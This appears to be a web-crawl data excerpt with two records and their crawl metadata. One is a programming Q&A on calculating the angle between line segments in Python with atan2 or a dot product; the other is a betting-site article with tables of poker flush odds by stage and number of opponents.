calcAngle(lineA, lineB,vertexType)
``````
I have written a tiny function that takes combinations of the lines as args and calculates the angle between them. I am using the `math.atan2` which seemed to be best suited for this.
``````def calcAngle(lineA,lineB,vertexType):
line1Y1 = lineA[0][1]
line1X1 = lineA[0][0]
line1Y2 = lineA[1][1]
line1X2 = lineA[1][0]
line2Y1 = lineB[0][1]
line2X1 = lineB[0][0]
line2Y2 = lineB[1][1]
line2X2 = lineB[1][0]
#calculate angle between pairs of lines
angle1 = math.atan2(line1Y1-line1Y2,line1X1-line1X2)
angle2 = math.atan2(line2Y1-line2Y2,line2X1-line2X2)
angleDegrees = (angle1-angle2) * 360 / (2*math.pi)
print angleDegrees, vertexType
``````
The output I get is:
``````> -299.744881297 same start point; order 1
> 299.744881297 same start point; order 2
> 60.2551187031 same end point; order 1
> -60.2551187031 same end point; order 2
> -119.744881297 one line after another - down; order 1
> 119.744881297 one line after another - down; order 2
> -119.744881297 one line after another - up; line order 1
> 119.744881297 one line after another - up; line order 2
``````
As you can see, I am getting different values depending on the order of vertices in a line segment and line segments order. I have tried to post-process the angles by finding out what kind of relation the source line had and flipping the lines, editing the angle etc. I’ve ended with a dozen of such cases and at some point they start to overlap and I cannot any longer find out whether -119.744 should become 60.255 (acute angle) or be left as 119.744 (obtuse angle) etc.
Is there any discrete way to process the output angle values I receive from `math.atan2` to get only a positive value in 0 to 180 range? If not, what kind of other approach should I take?
The easiest and most logically way to get at this problem is using the dot-product.
Try this code (I’ve commented practically everything):
``````import math
def dot(vA, vB):
return vA[0]*vB[0]+vA[1]*vB[1]
def ang(lineA, lineB):
# Get nicer vector form
vA = [(lineA[0][0]-lineA[1][0]), (lineA[0][1]-lineA[1][1])]
vB = [(lineB[0][0]-lineB[1][0]), (lineB[0][1]-lineB[1][1])]
# Get dot prod
dot_prod = dot(vA, vB)
# Get magnitudes
magA = dot(vA, vA)**0.5
magB = dot(vB, vB)**0.5
# Get cosine value
cos_ = dot_prod/magA/magB
# Get angle in radians and then convert to degrees
angle = math.acos(dot_prod/magB/magA)
# Basically doing angle <- angle mod 360
ang_deg = math.degrees(angle)%360
if ang_deg-180>=0:
# As in if statement
return 360 - ang_deg
else:
return ang_deg
``````
Now try your variations of lineA and lineB and all should give the same answer. | 1,636 | 4,972 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.328125 | 3 | CC-MAIN-2020-40 | latest | en | 0.881349 |
https://www.bettingwebsites.org.uk/articles/poker-guides/what-are-the-odds-of-hitting-a-flush-in-poker/ | 1,713,788,054,000,000,000 | text/html | crawl-data/CC-MAIN-2024-18/segments/1712296818293.64/warc/CC-MAIN-20240422113340-20240422143340-00329.warc.gz | 582,435,016 | 19,202 | # What Are The Odds Of Hitting A Flush In Poker?
In all versions of poker, including Hold’em poker, a flush is a hand lying somewhere at the middle of the hand ranking, between a straight and a full house. Despite this we often chase a flush draw and it sometimes appears to be desired by players more than a full house.
There are psychological reasons for that: having several cards of the same suit in hand or as a hand grants that hand an aesthetical element that potentiates the illusion that the flush draw is both valuable and easily achievable with the next one or two cards.
This might not happen for instance with one or even two pairs waiting for a full house. Moreover, a flush is automatically associated with the straight flush, the “king” of the hands, which is another reason for loving the flush.
Obviously, a full house is harder to hit than a flush, since the former stands higher in the hand ranking, and a straight flush is even harder. However, many players overestimate subjectively the strength of their hand when a flush draw is in progress.
In this article we shall see what the precise flush odds are and how to evaluate the advantage of a hand with suited cards relative to a flush draw in every stage of the game.
## Flush odds at the flop stage
Among all card odds in Hold’em poker, flush odds are known as the easiest to compute, at least for your own hand. That is because the combinations that are counted are only formed with one kind of cards, namely those of that particular suit.
However, things can get complicated also for flush odds if we try to work out the odds that one or more of your opponents will hit a flush or beat your flush if achieved; that’s because higher flush, full house, quads, and straight flush odds – hands that can beat your flush – come into the equation.
### Let’s get started with the simplest odds
In the flop stage, you can hit a flush by river only if a minimum three cards of a suit are visible (on the board and in your own hole cards together). There are two probabilities associated with this event, namely 4.16% or 34.96% (if three or four cards of the suit are visible, respectively; the event includes hitting a straight flush).
Of course, the most advantageous configuration is that in which your hole cards are both of that suit. Otherwise, the chances that one or more of your opponents will also hit that suit increase, since they use the community cards as well.
Precisely, the odds that at least one opponent will hit a flush by river, computed at the flop stage, are given in the next table, where n is the number of opponents, s is the number of visible cards of that suit and s’ is the number of visible cards of that suit in the community cards.
s’=0 s’=1 s’=2 s’=3
s 1 2 3 2 3 4 3 4 5
n
1 0 0.277% 0.184% 0.117% 3.515% 2.606% 1.860% 19.409% 16.048% 12.895%
2 0 0.546% 0.365% 0.233% 6.359% 4.777% 3.454% 30.402% 23.533% 20.998%
3 0 0.806% 0.542% 0.294% 8.595% 6.894% 4.439% 37.557% 32.861% 26.517%
4 0 1.059% 0.714% 0.459% 10.373% 8.053% 6.890% 41.889% 37.139% 32.376%
5 0 1.303% 0.882% 0.569% 12.041% 9.350% 7.057% 45.721% 40.553% 35.631%
6 0 1.539% 1.046% 0.677% 13.610% 10.579% 7.945% 49.129% 43.599% 37.987%
7 0 1.767% 1.206% 0.783% 15.081% 11.738% 8.819% 52.117% 46.276% 40.314%
8 0 1.987% 1.362% 0.887% 16.455% 12.871% 9.678% 54.685% 48.903% 42.610%
9 0 2.200% 1.493% 0.990% 17.832% 13.794% 10.524% 57.514% 50.894% 44.874%
We can see in the table that there are situations in which the odds for your opponents to hit a flush by river are relatively high.
For instance, three cards of the suit on the board and one in your hand gives to six opponents about 43.60% chances for hitting the flush. The lowest odds for the opponents are in those configurations where only one card of your suit is on the community board, ranging from 0.1 to 2.2%.
The most advantageous situation relative to flush, except hitting it in flop – when you hold two cards of that suit and other two cards are on the board, giving you about 35% odds of hitting it by river – gives your opponents odds ranging from 1.8 to 10.5% (depending on their number).
These odds only measure the event ‘hitting the flush by river’ and not ‘hitting a higher flush’. Depending on how high are ranked the values of the cards in your suit, the odds for your flush to be beaten (if achieved) may be slightly lower or higher than those in the table above.
The same assertion applies if considering other possible suits, for instance in a configuration where the board consists of cards of two or three symbols (2 + 1 or 1 + 1 + 1 as symbols).
The odds for your opponents to hit a second and even a third suit (if possible) can be also picked by using the table above, then added to the odds for the initial suit.
### Example:
• Community cards: (♣♣♥)
• Your own hole cards: (♥♣)
• 6 opponents
You target the flush draw of ♣. Let us see what is the probability for at least one opponent to achieve a flush of ♣. We have s’ = 2, s = 3, and n = 6. Searching in the table, we find the probability 10.579%.
But your opponents may also hit a flush of ♥ (if one holds ♥♥ and the turn and river cards are of ♥). We have now s’ = 1, s = 2 and the table gives the probability 1.046%.
Overall, there is 10.579% + 1.046% = 11.625% probability for at least one opponent to hit a flush by river.
### Advantage relative to flush in the flop
However precise these long-shot odds are, they can dramatically change with each next card to come on the board – in fact, this accounts for the beauty of Hold’em. Therefore, the balance ‘own hand odds vs. opponents odds’ for a flush in the flop stage cannot be taken as an absolute measure for the strength of your hand relative to flush, even more so as an absolute strength.
With the turn card, both you and your opponents’ might consider other draws beside flush (involving card values and not symbols), which add to the strength of the hand.
However, poker is a game where it’s actually this apparent advantage (real or fake) that is played at moments before the showdown, regardless on how the odds for that advantage to be maintained or improved change with the next stages of the game.
The advantage is a result of a more or less objective estimation of the strength of your own hand, but it is an objective criterion of play in itself, given the rules of poker.
In what concerns the flush-draw advantage, it can be accounted for in the flop stage easier than for other draws. Flop is the stage offering the least information for the long-shot probabilities of hitting the target draws (with two cards to come), so the evaluation of the current advantage (or disadvantage) that the card configuration gives to your hand is as important as those probabilities.
However, the flop odds are in general the hardest to compute (some of them impossible), from the same reason. Besides computation, it is actually impossible for a player to memorize full tables of odds covering all possible configurations, one for each draw, for your own hand, and for your opponents; this also applies to flush odds, regardless of the easiness of computation.
Therefore, in the flop stage evaluation of the advantage is essential, and this can be done in a simplified mode, not by taking into account the long-shot odds, but the odds that your opponents hold (at that particular moment) certain configurations of cards that gives them either the same, a higher or a lower advantage than the advantage that your own hole cards plus the board give to your hand.
Your advantage relative to flush is measured by probability (there is no other objective measure for that), namely the probability that no opponent holds a more advantageous configuration relative to flush (that is, giving them better odds for hitting the flush by river).
For the flush draw, the possible configurations can be reduced to a few categories of situations (five), which can be easily memorized along with their associated odds:
1. No suited cards on the board, two suited hole cards matching one symbol on the board. Example: (♥♣♦ the board) and (♥♥ hole cards).
Probability that one opponent holds two suited cards matching one symbol on the board (giving them the same advantage as yours) is 16.37%, increasing with the number of opponents. Overall, you have 100% advantage over your opponents relative to flush, no matter their number, as there is no way for them to hold a better configuration (two suited cards matching one symbol on the board).
2. Two suited cards on the board, non-suited hole cards, of which one matching the board suit. Example: (♣♣♦) and (♣♥).
In this configuration, an opponent holds a better configuration than yours if they hold two suited cards matching the suit on the board. Your advantage depends on the number of opponents, as follows:
1 4.16% 95.84%
2 8.32% 91.68%
3 12.48% 87.52%
4 16.65% 83.35%
5 20.82% 79.18%
6 24.84% 75.16%
7 28.96% 71.04%
8 33.08% 66.92%
9 37.18% 62.82%
3. Two suited cards on the board, hole cards suited matching the board suit. Example: (♦♦♣) and (♦♦).
This is the best possible configuration relative to a flush draw and you have 100% advantage over your opponents relative to flush, no matter their number.
4. Two suited cards on the board, hole cards not suited, matching two symbols on the board. Example: (♠♠♥) and (♠♥).
Your advantage in this configuration is slightly higher than in configuration 2), because for an opponent it is preferable to hold a suit with the unsuited card on the board as in configuration 2) than a suit with the less numerous symbol (♥♥) in the current configuration, since in the latter case you hold one of those cards (remaining fewer outs for the opponent).
5. Board suited, hole cards not suited, one of them matching the board suit. Example: (♥♥♥) and (♥♠).
In this configuration, an opponent holds a better configuration than yours if they hold two suited cards matching the suit on the board (i.e., they hit the flush). Your advantage depends on the number of opponents, as follows:
1 3.33% 96.67%
2 6.58% 93.42%
3 7.89% 92.11%
4 9.59% 90.41%
5 11.00% 89.00%
6 12.96% 87.04%
7 15.07% 84.93%
8 17.74% 82.26%
9 21.18% 78.82%
Summarizing these results, you have advantage over your opponents (whatever their number) in configurations 1 and 3, and your advantage depends on the number of opponents in the rest of the configurations. In these latter cases, the high percentage does not necessarily mean that your hand will win with that frequency, but is just an objective measure of your advantage.
Odds like 28-37% for your (7 – 9) opponents to have a better hand in the flop in configurations 2 or 4, or 21% for your (9) opponents in configuration 5, as seen in the above tables, are high enough to consider them in estimating your opponents’ chances.
In general, you should not take this probabilistically-measured advantage of your hand relative to a draw (flush, in our case) to be a decisive measure for the strength of your hand, nor the only criterion for a decision on betting/raising. The betting actions of your opponents count as well in adjusting this advantage – it is specific to poker. But there are other reasons, too.
First, remember that it is pure probability and not certitude. Second, a big amount of that percentage reflects the probability that your opponents hold a configuration as good as yours. The difference between the figures in the two columns of the tables represents the odds that your opponents hold a similar hand as yours.
For instance, in configuration 5 with 4 opponents, about 81% out of your about 90% advantage reflect this equal situation. It is also true that you actually hold that configuration and whether other opponents also hold it is uncertain, which counterbalances the previous concern. And third, depending on configuration, there may be other draws besides flush that may add to the overall advantage of your hand, but this also applies for your opponents’ hands.
For instance, the configuration (3♥ J♥ 10♦) and (9♥ 10♣) gives you not only a flush advantage, but the pair of 10s may evolve to trip/set or higher, and the open-ended straight may also evolve to straight in your favor. Each of these additional advantages (relative to each of those draws) can be computed, but it is more difficult than for the flush. Again, the same additional advantage may occur for your opponents’ hands, and can be measured based only on the information given by your hole cards and the board.
## Flush odds at the turn and river
In the turn stage, if you have a suit of four cards in your hand and on the board together, the odds for hitting a flush by river are the easiest to compute, as there is only one card to come and one symbol to count. You have just to divide the number of outs (9) to 46, the number of remaining cards and you get one single probability, namely 19.56%.
Opponents’ odds for a flush (which are positive only if at least two suited cards are on the board) are given in the next table, where n is the number of opponents, s is the number of visible cards of that suit and s’ is the number of visible cards of that suit in the community cards:
s’=0 s’=1 s’=2 s’=3 s’=4
s 2 3 4 3 4 5 4 5 6
n
1 0 1.086% 0.790% 0.553% 11.469% 9.327% 7.377% 48.813% 44.426% 39.795%
2 0 2.139% 1.562% 1.097% 20.167% 16.674% 13.408% 68.272% 63.382% 57.996%
3 0 3.160% 2.315% 1.384% 26.381% 22.548% 17.340% 78.909% 76.406% 71.257%
4 0 4.147% 3.052% 2.158% 30.749% 26.555% 22.504% 83.108% 81.826% 80.499%
5 0 5.103% 3.770% 2.675% 34.746% 29.995% 25.557% 86.326% 85.130% 84.739%
6 0 6.028% 4.471% 3.183% 38.510% 33.175% 28.049% 88.739% 87.608% 86.434%
7 0 6.922% 5.155% 3.682% 41.784% 36.096% 30.505% 90.347% 89.260% 88.130%
8 0 7.778% 5.821% 4.173% 44.829% 38.953% 32.924% 91.152% 90.913% 89.826%
9 0 8.618% 6.381% 4.654% 47.987% 41.220% 35.306% 92.760% 91.739% 91.521%
### Example:
• Community cards: (♣♣♣♥)
• Your own hole cards: (♥♣)
• 6 opponents
Let’s see what are the odds for at least one opponent to hit the flush of ♣ by river.
We have n = 6, s = 4, and s’=3, and the table shows the probability 33.17%. Of course, this probability also covers the event that an opponent already holds that flush.
With such straightforward probabilities for your own hand and for your opponents’ hands, which are relevant given the amount of information (6 cards) relative to the uncertain cards to come (one card), the evaluation of advantage as in the flop stage is no longer necessary. You can evaluate the strength of your hand relative to flush solely basing on these odds.
For the river stage, the odds that your opponents achieved a flush are given in the next table, with the same denotations. These odds may be used to evaluate the strength of their hands relative to flush even if you did not hit it.
For the case s’ = 4 with n > 3, we used an approximation method that returns numerical values within 1% error range (the approximated values appear in italics in the table).
s’=0 s’=1 s’=2 s’=3 s’=4
s 3 4 5 4 5 6
n
1 0 0 0 4.545% 3.636% 2.828% 36.363% 32.727% 28.989%
2 0 0 0 8.949% 7.188% 5.609% 60.555% 55.673% 50.458%
3 0 0 0 13.216% 10.656% 7.075% 73.779% 71.440% 66.099%
4 0 0 0 17.346% 14.042% 11.032% 79% 78% 77%
5 0 0 0 21.343% 17.346% 13.675% 83% 82% 82%
6 0 0 0 25.209% 20.570% 16.271% 86% 85% 84%
7 0 0 0 28.947% 23.714% 18.823% 88% 87% 86%
8 0 0 0 32.560% 26.780% 21.330% 89% 89% 88%
9 0 0 0 36.040% 29.355% 23.792% 91% 90% 90%
### Example:
• Community cards: (♣♣♣♥♦)
• Your own hole cards: (♥♣)
• 5 opponents
Let us see what is the probability for at least one opponent to hold a flush of ♣. We have s’ = 3, s = 4, and n = 5. Searching in the table, we find the probability 17.34%.
The conclusion and advice that we can draw from all these numerical results is that when it comes to a flush draw, it is better to trust the odds rather than immediate “feeling” or “intuition” when evaluating advantage.
Just looking in the last table at the river stage, if you hit a flush with all your hole cards and four cards of that suit are on the board, the odds for your opponents to hit it are between 50 and 90% for more than one opponent in play.
Even at the turn stage, having two suited cards in hand does not reduce much the chances for your opponents to hit the flush if more than three cards of that suit are on the board, and for 5 opponents up these odds are relatively high.
More so in the flop stage, any apparent advantage given by configuration is fragile and instable. This happens because unlike in other types of draws, the number of outs is much higher for the flush. Once you hit it or (apparently) are about to hit it, don’t rely on that every time, especially when many opponents are in play, as the chances may work almost symmetrically for them. | 4,737 | 16,815 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.796875 | 3 | CC-MAIN-2024-18 | longest | en | 0.967925 |
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